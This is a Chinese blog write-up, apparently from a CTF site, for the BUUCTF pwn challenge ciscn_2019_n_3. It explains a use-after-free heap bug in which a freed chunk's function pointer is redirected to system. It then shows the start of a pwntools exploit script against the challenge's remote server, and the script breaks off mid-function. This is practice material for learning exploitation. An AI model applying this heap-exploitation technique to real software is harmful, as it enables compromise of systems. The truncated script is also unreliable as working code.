[BUUCTF-pwn]——ciscn_2019_n_3

本文介绍了一个名为ciscn_2019_n_3的比赛题目,该题涉及UAF(Use After Free)漏洞的利用。文章提供了三种不同的利用方法,并探讨了为何某些payload无法成功的原因。

[BUUCTF-pwn]——ciscn_2019_n_3

  • 结构体:
//该结构体仅仅是选择字符串的时候的结构体
struct chunk
{
   
   
	void *rec_str_print();
    void *rec_str_free();
    char *str;
}

//该结构体仅仅是选择数字的时候的结构体
struct chunk
{
   
   
	void *rec_int_print();
    void *rec_int_free();
    int number;
}

这道题目就是简单的uaf漏洞利用,由于system已经给你了,所以连泄露地址都给你省了。很时候新手练习uaf。简单来说,就是通过堆漏洞将rec_int_free或者rec_str_free给需要为system。或者将rec_str_free给修改为system

一个不知道为什么不可以的payload, 感觉良好觉得非常可以,但是就是不行。希望有大神可以解惑一下啊

from pwn import *

context(log_level='debug',arch='i386')
#p = process('./ciscn_2019_n_3')
p = remote('node4.buuoj.cn',28062)
elf = ELF("./ciscn_2019_n_3")
libc = ELF("./libc-2.27.so")

def new(index,length,content):
	p.recvuntil("CNote > ")
	p.sendline('1')
	p.recvuntil("Index > ")
	p.sendline(str(index))
	p.recvuntil("Type > ")
	p.sendline('2')
	p.recvuntil("Length > ")
	p.sendline(str(length)</
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值